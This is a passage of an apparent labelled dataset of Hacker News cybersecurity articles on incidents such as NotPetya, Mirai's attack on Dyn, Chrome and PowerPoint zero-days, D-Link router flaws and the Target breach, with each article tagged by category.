"To decrypt a victim's disk threat actors need the installation ID. In previous versions of 'similar' ransomware like Petya/Mischa/GoldenEye this installation ID contained the information necessary for key recovery."
If claims made by the researcher is correct that the new variant of Petya is a destructive malware designed to shut down and disrupt services around the world, the malware has successfully done its job.
However, it is still speculation, but the virus primarily and massively targeted multiple entities in Ukraine, including the country's local metro, Kiev's Boryspil airport, electricity supplier, the central bank, and the state telecom.
Other countries infected by the Petya virus included Russia, France, Spain, India, China, the United States, Brazil, Chile, Argentina, Turkey and South Korea.
How Did Petya get into the Computers in the First Place?
According to research conducted by Talos Intelligence, little-known Ukrainian firm MeDoc is likely the primary source of the yesterday's global ransomware outbreak.
Researchers said the virus has possibly been spread through a malicious software update to a Ukrainian tax accounting system called MeDoc, though MeDoc has denied the allegations in a lengthy Facebook post.
"At the time of updating the program, the system could not be infected with the virus directly from the update file," translated version of MeDoc post reads. "We can argue that users of the MEDoc system can not infect their PC with viruses at the time of updating the program."
However, several security researchers and even Microsoft agreed with Talo's finding, saying MeDoc was breached and the virus was spread via updates.
| Cyber_Attack |
Indian Officials Get Training from Hackers who cracked CERN's IT system | https://thehackernews.com/2012/07/indian-officials-get-training-from.html | Two Argentina-based cyber security experts - Chris Russo and Fernando Viacanel, who claimed to have cracked the security code of IT systems involved in the discovery of 'God Particle', today conducted training sessions for Indian government officials.
Both the hackers are partners of IT security firm E2 Labs and their company in arrangement with industry chamber Assocham has plans to conduct series of technology exchange programmes on cyber security.
Russo said that three times he has been able to find vulnerability in IT system of European Organisation for Nuclear Research (CERN) that has been involved in discovery of 'God Particle' or Higgs Boson.
Programme was attended by officials from Cabinet secretariat, National Technical Research Organisation, Airforce, C-DAC, Income Tax Department, Assam's AMTRON along with representatives from private sector entities, Aircel and Cisco.
"Talents required to be cyber security experts are mostly available in people with an average age of below 30. This should be also recognised by government", Senior Director Assocham Ajay Sharma said.
Chris Russo also going to Present "Black Arts of Automated and Remote Exploitation" at The Hackers Conference, will be held in New Delhi on July 29 2012.
His talk will be about the bundle exploit packs, also known as BEPs. His presentation will shows and demonstrates the mechanisms, including passive and active detection systems, drive by download and drive by cache techniques, geolocation libraries implemented, Obfuscation and encryption techniques, and the selection on the fly of the most convenient exploit for each case. How this systems are used, for malware spreading such as botnets, PPI binaries and Rouge AVs, generating profits for their owners for more than $500 dollars daily.
The audience should benefit by understanding the threats, risks and market behind the automated remote exploitation techniques and the entire economic system behind it. His talk will also allow the users to take preventive measures in order to stop these threats or reduce the risk associated with it.
The Hackers Conference 2012 is expected to be the first open gathering of Blackhat hackers in India who will debate latest security issues with the top itelligence echolons in India. The conference has sent special invites to Blackhat hackers to come and demonstrate their talent and help the security agencies bridge the knowledge gaps existing today.
You can Register yourself here, to attend THC2012.
| Vulnerability |
New Chrome 0-day Under Active Attacks – Update Your Browser Now | https://thehackernews.com/2020/10/chrome-zeroday-attacks.html | Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
"While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4," Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function "Load_SBit_Png," which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
"The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap," Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's "stable" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that "an exploit for CVE-2020-15999 exists in the wild," but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to "Help → About Google Chrome" from the menu.
| Cyber_Attack |
Researcher Demonstrates 4 New Variants of HTTP Request Smuggling Attack | https://thehackernews.com/2020/08/http-request-smuggling.html | A new research has identified four new variants of HTTP request smuggling attacks that work against various commercial off-the-shelf web servers and HTTP proxy servers.
Amit Klein, VP of Security Research at SafeBreach who presented the findings today at the Black Hat security conference, said that the attacks highlight how web servers and HTTP proxy servers are still susceptible to HTTP request smuggling even after 15 years since they were first documented.
What is HTTP Request Smuggling?
HTTP request smuggling (or HTTP Desyncing) is a technique employed to interfere with the way a website processes sequences of HTTP requests that are received from one or more users.
Vulnerabilities related to HTTP request smuggling typically arise when the front-end (a load balancer or proxy) and the back-end servers interpret the boundary of an HTTP request differently, thereby allowing a bad actor to send (or "smuggle") an ambiguous request that gets prepended to the next legitimate user request.
This desynchronization of requests can be exploited to hijack credentials, inject responses to users, and even steal data from a victim's request and exfiltrate the information to an attacker-controlled server.
The technique was first demonstrated in 2005 by a group of researchers from Watchfire, including Klein, Chaim Linhart, Ronen Heled, and Steve Orrin. But in the last five years, a number of improvements have been devised, significantly expanding on the attack surface to splice requests into others and "gain maximum privilege access to internal APIs," poison web caches, and compromise login pages of popular applications.
What's New?
The new variants disclosed by Klein involve using various proxy-server combinations, including Aprelium's Abyss, Microsoft IIS, Apache, and Tomcat in the web-server mode, and Nginx, Squid, HAProxy, Caddy, and Traefik in the HTTP proxy mode.
The list of all new four new variants is as below, including an old one that the researcher successfully exploited in his experiments.
Variant 1: "Header SP/CR junk: …"
Variant 2 – "Wait for It"
Variant 3 – HTTP/1.2 to bypass mod_security-like defense
Variant 4 – a plain solution
Variant 5 – "CR header"
When handling HTTP requests containing two Content-Length header fields, Abyss, for example, was found to accept the second header as valid, whereas Squid used the first Content-Length header, thus leading the two servers to interpret the requests differently and achieve request smuggling.
In situations where Abyss gets an HTTP request with a body whose length is less than the specified Content-Length value, it waits for 30 seconds to fulfill the request, but not before ignoring the remaining body of the request. Klein found that this also results in discrepancies between Squid and Abyss, with the latter interpreting portions of the outbound HTTP request as a second request.
A third variant of the attack uses HTTP/1.2 to circumvent WAF defenses as defined in OWASP ModSecurity Core Rule Set (CRS) for preventing HTTP request smuggling attacks craft a malicious payload that triggers the behavior.
Lastly, Klein discovered that using the "Content-Type: text/plain" header field was sufficient to bypass paranoia level checks 1 and 2 specified in CRS and yield an HTTP Request Smuggling vulnerability.
What Are the Possible Defenses?
After the findings were disclosed to Aprelium, Squid, and OWASP CRS, the issues were fixed in Abyss X1 v2.14, Squid versions 4.12, and 5.0.3 and CRS v3.3.0.
Calling for normalization of outbound HTTP Requests from proxy servers, Klein stressed the need for an open source, robust web application firewall solution that's capable of handling HTTP Request Smuggling attacks.
"ModSecurity (combined with CRS) is indeed an open source project, but as for robustness and genericity, mod_security has several drawbacks," Klein noted. "It doesn't provide full protection against HTTP Request Smuggling [and] it is only available for Apache, IIS and nginx."
To this end, Klein has published a C++-based library that ensures that all incoming HTTP requests are entirely valid, compliant, and unambiguous by enforcing strict adherence to HTTP header format and request line format. It can be accessed from GitHub here.
| Vulnerability |
Smartphones, A Perfect Cyber Espionage and Surveillance Weapon | https://thehackernews.com/2013/11/smartphones-perfect-cyber-espionage.html | The use of mobile devices in government environments concerns the secret service of any states, cyber espionage more often exploits the mobile platforms.
Mobile devices are reason of great concern for governments, they have a great computational capability, huge memories to store our personal data, GPS to follow our movements and are equipped with a camera and microphone to increase our experience in mobility. The advent of monitoring apps like Mobistealth has already brought the possibility of using the aforementioned features to keep tabs on a target device irrespective of the geographic distance to light.
However, it has also raised red flags over the possibility of exploitation of such features by attackers for cyber espionage. The problem is well known to governments that are adopting necessary countermeasures especially following the recent revelations about the U.S. Surveillance program.
The UK Government has decided to ban iPads from the Cabinet over foreign eavesdropper fears, it has been requested Ministers to leave mobile in lead-lined boxes to avoid foreign governments to spy on top level government meetings.
The news is reported by the Mail on Sunday, after the Cabinet Office minister Francis Maude made a presentation using his iPads last week (about how the Government Digital Service might save the UK £2bn a year) the Downing Street security staff has dismissed the mobile device to prevent eavesdropping of ongoing discussions.
The measure was adopted to avoid that foreign security services infecting mobile devices are able to capture audio and data from victims, it is known that hostile actors like China, Russia and Iran have the ability to use mobiles in powerful spy tools.
Ministers belonging to sensitive government departments were recently issued with soundproof lead-lined boxes to guard and isolate their mobile devices during official meetings.
The precautions have been taken due the high concern caused by news that German Chancellor Angela Merkel's personal mobile has been spied by the NSA for years. My personal opinion it that it is not acceptable that the German Federal Intelligence Service has allowed everything, missing the adoption of appropriate protective measures like crypto mobile devices, protected landline and similar. Other governments already have approached the problem to adopt secure devices to prevent bugging and eavesdropping, the British foreign secretary William Hague confirmed his phone has been armored by GCHQ.
Just a week ago it was published the news that delegates at the G20 summit in Russia received malicious computer memory sticks used to serve a malware to spy on the participants and steal sensitive information, let's remember also that the information leaked on the NSA FoxAcid platform revealed the existence of spy tool kits RADON and DEWSPEEPER able to exploit victims via USB.
Herman Van Rompuy, the President of the European Council, ordered tests to be carried out on the memory sticks and the results are shocking:
'The USB pen drives and the recharging cables were able to covertly capture computer and mobile phone data,' a secret memo said.
Overseas, the situation does not change, even the US fear that the use of the mobile devices can cause them problems, The Department of Homeland Security and FBI warn public safety departments that their out-of-date Android devices are a security risk, but updating them is not always easy or simple.
The alert cited unspecified "industry reporting" that, "44 percent of Android users are still using versions 2.3.3 through 2.3.7 (Gingerbread) which were released in 2011 and have a number of security vulnerabilities that were fixed in later versions."
Google's own figures on its site for Android developers estimate that percentage at about a third less — 30.7 percent. But it also showed 21.7 percent using versions 4.0.3-4.0.4, called Ice Cream Sandwich, which is also out of date. Less than half – 45.1 percent – are using the latest OS, called Jelly Bean, and of that group, 36.6 percent are using 4.1, and only 8.5 percent are using 4.2, which is the latest OS.
The DHS/FBI document address principal cyber threats to out-of-date Android mobile devices, including SMS Trojans, Rootkits and fake Google Play Domains.
Despite the alert recommends regular updates, running an "Android security suite" and downloading apps only from the official Google Play Store, the update for Android devices can reveal several problems.
"There is a wide variety of Android OEM versions rolled out to a huge number of different handsets, and not all carriers and handset OEMs will allow you to upgrade to the latest version," "So, the Android versions that can run are restricted per device. Even now it is possible to buy Gingerbread devices that cannot be upgraded to Jelly Bean." said Mario de Boer, research director, Security and Risk Management Strategies at Gartner for Technical Professionals.
De Boer suggested that the only solution for now is to block the use of Android devices that are not running the latest OS.
"Apply admission control,""If your Smartphones or tablet is running a vulnerable OS, you cannot get access to the specific service or data." "this is hard to accomplish for voice and text, and easier for email and access to files."
The principal problem related to the use of mobile devices in government environment is that almost every Smartphone is not designed following severe requirements in term of corporate or government security, let's add that wrong user's habits aggravate the situation.
It needs a change or mobile devices should be excluded from sensitive contexts.
| Vulnerability |
Oracle E-Business Suite Flaws Let Hackers Hijack Business Operations | https://thehackernews.com/2020/06/oracle-e-business-suite.html | If your business operations and security of sensitive data rely on Oracle's E-Business Suite (EBS), make sure you recently updated and are running the latest available version of the software.
In a report released by enterprise cybersecurity firm Onapsis and shared with The Hacker News, the firm today disclosed technical details for vulnerabilities it reported in its integrated group of applications designed to automate CRM, ERP, and SCM operations for organizations.
The two vulnerabilities, dubbed "BigDebIT" and rated a CVSS score of 9.9, were patched by Oracle in a critical patch update (CPU) pushed out earlier this January. But the company said an estimated 50 percent of Oracle EBS customers have not deployed the patches to date.
The security flaws could be exploited by bad actors to target accounting tools such as General Ledger in a bid to steal sensitive information and commit financial fraud.
According to the researchers, "an unauthenticated hacker could perform an automated exploit on the General Ledger module to extract assets from a company (such as cash) and modify accounting tables, without leaving a trace."
"Successful exploitation of this vulnerability would allow an attacker to steal financial data and cause delays in any financial reporting related to the company's compliance processes," it added.
It's worth noting that the BigDebIT attack vectors add to the already reported PAYDAY vulnerabilities in EBS discovered by Onapsis three years ago, following which Oracle released a series of patches as late as April 2019.
Targeting General Ledger for Financial Fraud
Tracked as CVE-2020-2586 and CVE-2020-2587, the new flaws reside in its Oracle Human Resources Management System (HRMS) in a component called Hierarchy Diagrammer that enables users to create organization and position hierarchies associated with an enterprise. Together, they can be exploited even if EBS customers have deployed patches released in April 2019.
"The difference is that with these patches, it is confirmed that even with the systems up to date are vulnerable to these attacks, and therefore need to prioritize the installation of January's CPU," the company had stated in a note posted back in January.
One consequence of these bugs, if left unpatched, is the possibility of financial fraud and confidential information theft by attacking a firm's accounting systems.
Oracle General Ledger is an automated financial processing software that acts as a repository of accounting information and is offered as part of E-Business Suite, the company's integrated suite of applications — spanning enterprise resource planning (ERP), supply chain management (SCM), and customer relationship management (CRM) — that users can implement into their own businesses.
General Ledger is also used to generate corporate financial reports as well as carry out audits to ensure compliance with the SOX Act of 2002.
An attacker could break this trust by exploiting the flaws to modify critical reports in the ledger, including fraudulently manipulating transactions on a firm's balance sheets.
"For example, an attacker could modify the Trial Balance Report, which summarizes accounting balances in a given period, virtually unnoticed, resulting in inaccurately reported results flowing undetected into the financial statements. This could result in inaccurately filed or reported financial results," Onapsis said.
The Importance of Patching Critical Software
Given the financial risk involved, it is highly recommended that companies using Oracle EBS run an immediate assessment to ensure they are not exposed to these vulnerabilities, and apply the patches to fix them.
"Organizations need to be aware that current GRC tools and other traditional security methods (firewalls, access controls, SoD and others) would be ineffective against preventing this type of attack on vulnerable Oracle EBS systems," the researchers cautioned.
"If organizations have internet-facing Oracle EBS systems, the potential threat likelihood would be significantly magnified. Organizations under attack will be unaware of the attack and not know the extent of the damage until evidence is found by a very extensive internal or external audit."
| Vulnerability |
Researcher Discloses 10 Zero-Day Flaws in D-Link 850L Wireless Routers | https://thehackernews.com/2017/09/d-link-router-hacking.html | A security researcher has discovered not one or two but a total of ten critical zero-day vulnerabilities in routers from Taiwan-based networking equipment manufacturer D-Link which leave users open to cyber attacks.
D-Link DIR 850L wireless AC1200 dual-band gigabit cloud routers are vulnerable to 10 security issues, including "several trivial" cross-site scripting (XSS) flaws, lack of proper firmware protection, backdoor access, and command injection attacks resulting in root access.
If successfully exploited, these vulnerabilities could allow hackers to intercept connection, upload malicious firmware, and get root privileges, enabling them to remotely hijack and control affected routers, as well as network, leaving all connected devices vulnerable to cyber attacks as well.
These zero-day vulnerabilities were discovered by Pierre Kim—the same security researcher who last year discovered and reported multiple severe flaws in D-Link DWR-932B LTE router, but the company ignored the issues.
The same happened in February, when the researcher reported nine security flaws in D-Link products but disclosed the vulnerabilities citing a "very badly coordinated" disclosure with D-Link.
So, Kim opted to publicly disclose the details of these zero-day flaws this time and published their details without giving the Taiwan-based networking equipment maker the chance to fix them.
Here's the list of 10 zero-day vulnerabilities affect both D-Link 850L revision A and revision B Kim discovered:
Lack of proper firmware protection—since the protection of the firmware images is non-existent, an attacker could upload a new, malicious firmware version to the router. Firmware for D-Link 850L RevA has no protection at all, while firmware for D-Link 850L RevB is protected but with a hardcoded password.
Cross-site scripting (XSS) Flaws—both LAN and WAN of D-Link 850L RevA is vulnerable to "several trivial" XSS vulnerability, allowing an attacker "to use the XSS to target an authenticated user in order to steal the authentication cookies."
Retrieve admin passwords—both LAN and WAN of D-Link 850L RevB are also vulnerable, allowing an attacker to retrieve the admin password and use the MyDLink cloud protocol to add the user's router to the attacker's account to gain full access to the router.
Weak cloud protocol—this issue affects both D-Link 850L RevA and RevB. MyDLink protocol works via a TCP tunnel that use no encryption at all to protect communications between the victim's router and the MyDLink account.
Backdoor Access—D-Link 850L RevB routers have backdoor access via Alphanetworks, allowing an attacker to get a root shell on the router.
Private keys hardcoded in the firmware—the private encryption keys are hardcoded in the firmware of both D-Link 850L RevA and RevB, allowing to extract them to perform man-in-the-middle (MitM) attacks.
No authentication check—this allows attackers to alter the DNS settings of a D-Link 850L RevA router via non-authenticated HTTP requests, forward the traffic to their servers, and take control of the router.
Weak files permission and credentials stored in cleartext—local files are exposed in both D-Link 850L RevA and RevB. In addition, routers store credentials in clear text.
Pre-Authentication RCEs as root—the internal DHCP client running on D-Link 850L RevB routers is vulnerable to several command injection attacks, allowing attackers to gain root access on the affected devices.
Denial of Service (DoS) bugs—allow attackers to crash some daemons running in both D-Link 850L RevA and RevB remotely via LAN.
Kim advised users to cut the connections with the affected D-Link router in order to be safe from such attacks.
According to Kim, "the Dlink 850L is a router overall badly designed with a lot of vulnerabilities. Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused."
You can get full details of all 10 zero-day vulnerabilities on Kim's website as well as on security mailing lists.
The security of D-Link products has recently been questioned when the U.S. Federal Trade Commission, FTC sued the company earlier this year, alleging that the lax security left its products and therefore, "thousands of consumers" vulnerable to hackers.
| Vulnerability |
40 Million Credit Card accounts affected in massive data breach at 'Target' Stores during Black Friday | https://thehackernews.com/2013/12/Target-Credit-Card-hacking-Data-breach.html | If you have shopped something during the Black Friday weekend from Target's U.S based Retailer stores, then please pay serious attention - Your Credit and Debit card account may have been at Risk.
There are more than 1,500 Target stores throughout the U.S and 40 Million credit and debit card accounts of Target's customers may have been stolen during the height of the holiday shopping season, according to a statement published by the company.
Somehow thieves allegedly gained access to personal data in stores when customers swiped their cards at the register. That information is then typically sold to buyers who then make bogus debit or credit cards with it.
So the customers who made purchases by swiping their cards at terminals in its U.S. Stores between November 27 and December 15 may have been exposed. Krebs who broke the story reports that the breach does not impact shoppers who purchased items online.
Target has not disclosed exactly how the data breach occurred, but said that they have fixed the issue and credit card account holders can continue shopping at their stores. Sources told Krebs that the breach could be among the largest retail breaches in U.S. History.
"Whether or not you feel like you might be impacted by this breach, it's a really good idea, particularly around this time of year, to pay attention to what's on your debit and credit card statements."
The US Secret Service is also investigating the breach, according to the Wall Street Journal. Target officials said customer who suspect unauthorized activity should contact Target at: 866-852-8680.
| Data_Breaches |
Friday's Massive DDoS Attack Came from Just 100,000 Hacked IoT Devices | https://thehackernews.com/2016/10/ddos-attack-mirai-iot.html | Guess how many devices participated in last Friday's massive DDoS attack against DNS provider Dyn that caused vast internet outage?
Just 100,000 devices.
I did not miss any zeros.
Dyn disclosed on Wednesday that a botnet of an estimated 100,000 internet-connected devices was hijacked to flood its systems with unwanted requests and close down the Internet for millions of users.
Dyn executive vice president Scott Hilton has issued a statement, saying all compromised devices have been infected with a notorious Mirai malware that has the ability to take over cameras, DVRs, and routers.
"We're still working on analyzing the data but the estimate at the time of this report is up to 100,000 malicious endpoints," Hilton said. "We are able to confirm that a significant volume of attack traffic originated from Mirai-based botnets."
Mirai malware scans for Internet of Things (IoT) devices that are still using their default passwords and then enslaves those devices into a botnet, which is then used to launch DDoS attacks.
A day after the attack, Dyn confirmed that a botnet of Mirai malware-infected devices had participated in its Friday's Distributed Denial of Service attacks.
However, after an initial analysis of the junk traffic, just yesterday, the company revealed that it had identified an estimated 100,000 sources of malicious DDoS traffic, all originating from IoT devices compromised by the Mirai malware.
Earlier the company believed that approximately "tens of millions" of IP addresses were responsible for the massive attack against its crucial systems, but the actual number came out to be much much less, leaving all of us wondering, as:
How did the Attack Succeed to this Massive Level?
To this, Hilton said that Domain Name System protocol itself has the ability to amplify requests from legitimate sources.
"For example, the impact of the attack generated a storm of legitimate retry activity as recursive servers attempted to refresh their caches, creating 10-20X normal traffic volume across a large number of IP addresses," Hilton said. "When DNS traffic congestion occurs, legitimate retries can further contribute to traffic volume."
"It appears the malicious attacks were sourced from at least one botnet, with the retry storm providing a false indicator of a significantly larger set of endpoints than we now know it to be."
Friday's cyber attack overwhelmed Dyn's central role in routing and managing Internet traffic, rendering hundreds of sites and services, including Twitter, GitHub, Amazon, Netflix, Pinterest, Etsy, Reddit, PayPal, and AirBnb, inaccessible to Millions of people worldwide for several hours.
Dyn did not disclose the actual size of the attack, but it has been speculated that the DDoS attack could be much bigger than the one that hit French Internet service and hosting provider OVH that peaked at 1.1 Tbps, which is the largest DDoS attack known to date.
According to the company, this attack has opened up an important debate about Internet security and volatility.
"Not only has it highlighted vulnerabilities in the security of 'Internet of Things' (IOT) devices that need to be addressed, but it has also sparked further dialogue in the Internet infrastructure community about the future of the Internet," Hilton said.
Next DDoS Attack could reach Tens Of Terabits-Per-Second
If the IoT security is not taken seriously, the future DDoS attack could reach tens of terabits-per-second, as estimated by network security firm Corero.
The DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size, following a discovery of a new zero-day attack vector that has the ability to amplify DDoS attacks by as much as 55x, Corero warned in a blog post published Tuesday.
According to the security firm, this new attack vector uses the Lightweight Directory Access Protocol (LDAP), which if combined with an IoT botnet, could break records in DDoS power.
Dave Larson of Corero explains:
"LDAP is not the first, and will not be the last, protocol or service to be exploited in this fashion. Novel amplification attacks like this occur because there are so many open services on the Internet that will respond to spoofed record queries. However, a lot of these attacks could be eased by proper service provider hygiene, by correctly identifying spoofed IP addresses before these requests are admitted to the network."
You can read more on Corero's official website.
How to Protect your Smart Device from being Hacked
1. Change Default Passwords of your connected devices: If you have got any internet-connected device at home or work, change your credentials if it still uses default ones. Keep in mind; Mirai malware scans for default settings.
2. Disable Universal Plug-and-Play (UPnP): UPnP comes enabled by default in every IoT device, which creates a hole in your router's security, allowing malware to infiltrate any part of your local network.
Check for "Universal Plug and Play" features and turn them OFF.
3. Disable Remote Management through Telnet: Go into your router's settings and disable remote management protocol, specifically through Telnet, as this is a protocol used for allowing one computer to control another from a remote location. It has also been used in previous Mirai attacks.
4. Check for Software Updates and Patches: last but not the least, always keep your connected devices and routers up-to-date with the latest vendor firmware.
Check if your IoT device is vulnerable to Mirai malware
There is an online tool called Bullguard's IoT Scanner that can help you check if any IoT device over your network is vulnerable to Mirai malware.
If it detects any, contact the device's manufacturer or lookout for a solution to patch those vulnerable gaps.
The tool makes use of the vulnerability scanning service Shodan for finding unprotected computers and webcams on your home network that are exposed to the public and potentially accessible to hackers.
| Cyber_Attack |
Twitter Malware spotted in the wild stealing banking credentials | https://thehackernews.com/2013/04/twitter-malware-spotted-in-wild.html | Trusteer researcher Tanya Shafir has recently identified an active configuration of TorRAT targeting Twitter users. Other than spreading ideas on the most popular social networks, now cyber criminals are spreading malware.
The malware launches a Man-in-the-Browser (MitB) attack through the browser of infected PCs, gaining access to the victim's Twitter account to create malicious tweets.
Because the malware creates malicious tweets and sends them through a compromised account of a trusted person or organization being followed, the tweets seem to be genuine. Those tweets contain malicious links and they read : "Our new King William will earn even more than Beatrix. Check his salary" or "Beyonce falls during the Super Bowl concert, very funny!!!!"
At this time the attack is targeting the Dutch market. The malware spreading via the online social networking service, used as a financial malware to gain access to user credentials and target their financial transactions.
The attack is carried out by injecting Javascript code into the victim's Twitter account page. The malware collects the user's authentication token, which enables it to make authorized calls to Twitter's APIs, and then posts new, malicious tweets on behalf of the victim.
Because it uses a new sophisticated approach to spear-phishing, so attack is particularly difficult to defend. "This type of attack increases the need for enterprise exploit prevention technology: By blocking the exploitation of vulnerable endpoint user applications, like browsers, and preventing the malware download, exploit prevention technology stops the attack and prevents the malware from spreading and infecting more users," added the firm.
| Malware |
Oracle, other companies hacked by Social Engineering attack in #DefCon 19 | https://thehackernews.com/2011/08/oracle-other-companies-hacked-by-social.html | Oracle, other companies hacked by Social Engineering attack in #DefCon 19
A weekend contest from 4th August to 7th August , at the world's largest hacking convention in Las Vegas showed one reason why big corporations seem to be such easy prey for cyber criminals : their workers are poorly trained in security.
Reuters post the news about Hacking of Oracle and some more big Companies just by using Social Engineering in DefCon 19. Hackers taking part in the competition on Friday and Saturday found it ridiculously easy in some cases to trick employees at some of the largest U.S. companies to reveal information that can be used in planning cyber attacks against them.
A contestant pretended to work for a company's IT department and persuaded an employee to give him information on the configuration of her PC, data that could help a hacker decide what type of malware would work best in an attack. "For me it was a scary call because she was so willing to comply," said Chris Hadnagy, one of the organizers of the contest at the Defcon conference in Las Vegas. "A lot of this could facilitate serious attacks if used by the right people," Hadnagy said.
The company whose employees handed over the most data was Oracle Corp, according to Hadnagy. One of the world's largest software makers, Oracle got its start more than 30 years ago by selling secure databases to the Central Intelligence Agency. Oracle spokeswoman Deborah Hellinger declined comment.
Other targets included Apple Inc, AT&T Inc, ConAgra Foods Inc, Delta Air Lines Inc, Symantec Corp, Sysco Corp, United Continental Holdings Inc's United Airlines and Verizon Communications Inc. It was the second year that Defcon held a contest in "Social engineering," or the practice where hackers con people into handing over information or taking actions such as downloading malicious software.
"It's better whenever you can get data non-confrontationally," said Johnny Long, a consultant who companies hire to hack into their data networks, using tools such as social engineering, to identify weaknesses.
Source: Reuters
| Malware |
Researchers Disclose Undocumented Chinese Malware Used in Recent Attacks | https://thehackernews.com/2021/01/researchers-disclose-undocumented.html | Cybersecurity researchers have disclosed a series of attacks by a threat actor of Chinese origin that has targeted organizations in Russia and Hong Kong with malware — including a previously undocumented backdoor.
Attributing the campaign to Winnti (or APT41), Positive Technologies dated the first attack to May 12, 2020, when the APT used LNK shortcuts to extract and run the malware payload. A second attack detected on May 30 used a malicious RAR archive file consisting of shortcuts to two bait PDF documents that purported to be a curriculum vitae and an IELTS certificate.
The shortcuts themselves contain links to pages hosted on Zeplin, a legitimate collaboration tool for designers and developers that are used to fetch the final-stage malware that, in turn, includes a shellcode loader ("svchast.exe") and a backdoor called Crosswalk ("3t54dE3r.tmp").
Crosswalk, first documented by FireEye in 2017, is a bare-bones modular backdoor capable of carrying out system reconnaissance and receiving additional modules from an attacker-controlled server as shellcode.
While this modus operandi shares similarities with that of the Korean threat group Higaisa — which was found exploiting LNK files attached in an email to launch attacks on unsuspecting victims in 2020 — the researchers said the use of Crosswalk suggests the involvement of Winnti.
This is also supported by the fact that the network infrastructure of the samples overlaps with previously known APT41 infrastructure, with some of the domains traced back to Winnti attacks on the online video game industry in 2013.
The new wave of attacks is no different. Notably, among the targets include Battlestate Games, a Unity3D game developer from St. Petersburg.
Furthermore, the researchers found additional attack samples in the form of RAR files that contained Cobalt Strike Beacon as the payload, with the hackers in one case referencing the U.S. protests related to the death of George Floyd last year as a lure.
In another instance, Compromised certificates belonging to a Taiwanese company called Zealot Digital were abused to strike organizations in Hong Kong with Crosswalk and Metasploit injectors, as well as ShadowPad, Paranoid PlugX, and a new .NET backdoor called FunnySwitch.
The backdoor, which appears to be still under development, is capable of collecting system information and running arbitrary JScript code. It also shares a number of common features with Crosswalk, leading the researchers to believe that they were written by the same developers.
Previously, Paranoid PlugX had been linked to attacks on companies in the video games industry in 2017. Thus, the deployment of the malware via Winnti's network infrastructure adds credence to the "relationship" between the two groups.
"Winnti continues to pursue game developers and publishers in Russia and elsewhere," the researchers concluded. "Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS."
| Malware |
Microsoft PowerPoint Vulnerable to Zero-Day Attack | https://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html | It seems that there is no end to the Windows zero-days, as recently Microsoft patched three zero-day vulnerabilities in Windows which were actively exploited in the wild by hackers, and now a new Zero-day vulnerability has been disclosed affecting all supported releases of Windows operating system, excluding Windows Server 2003.
Microsoft has issued a temporary security fix for the flaw and also confirmed that the zero-day flaw is being actively exploited by the hackers through limited, targeted attacks using malicious Microsoft PowerPoint documents sent as email attachments.
According to the Microsoft Security Advisory published on Tuesday, the zero-day resides within the operating system's code that handles OLE (object linking and embedding) objects. OLE technology is most commonly used by Microsoft Office for embedding data from, for example, an Excel spreadsheet in a Word document.
The vulnerability (designated as CVE-2014-6352) is triggered when a user is forced to open a PowerPoint files containing a malicious Object Linking and Embedding (OLE) object. For now on, only PowerPoint files are used by hackers to carry out attacks, but all Office file types can also be used to carry out same attack.
"The vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file that contains an OLE object. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user," the advisory explained.
By gaining same rights as a logged-in user, an attacker could infect victim's computer by installing other malicious programs on it. According to the software giant, some attacks that compromise accounts without administrator rights may pose less of a risk.
Microsoft has released a Fix it "OLE packager Shim Workaround" which will stop the known PowerPoint attacks. But it is not capable to stop other attacks that might be built to exploit this vulnerability. Also, the Fix it is not available for 64-bit editions of PowerPoint on x64-based editions of Windows 8 and Windows 8.1.
Meanwhile, Microsoft also urged Windows users to pay attention to the User Account Control (UAC) prompt, a pop-up alerts that require authorization before the OS is allowed to perform various tasks, which would warn a user once the exploit starts to trigger – asking permission to execute. But, users many times see it as an inconvenience and many habitually click through without a second thought.
"In observed attacks, User Account Control (UAC) displays a consent prompt or an elevation prompt, depending on the privileges of the current user, before a file containing the exploit is executed," Microsoft's advisory states.
Furthermore, Redmond didn't mention an out-of-band patch for the Zero-Day vulnerability, nor did it mention if a patch would be ready by November Security Patch update.
Earlier this month, Microsoft released eight security bulletins, as part of its monthly patch update, fixing three zero-day flaws at the same time. One of which (CVE-2014-4114) was discovered by iSight partners in all supported versions of Microsoft Windows and Windows Server 2008 and 2012 that was being exploited in the "Sandworm" cyberattack to penetrate major corporations' networks.
| Vulnerability |
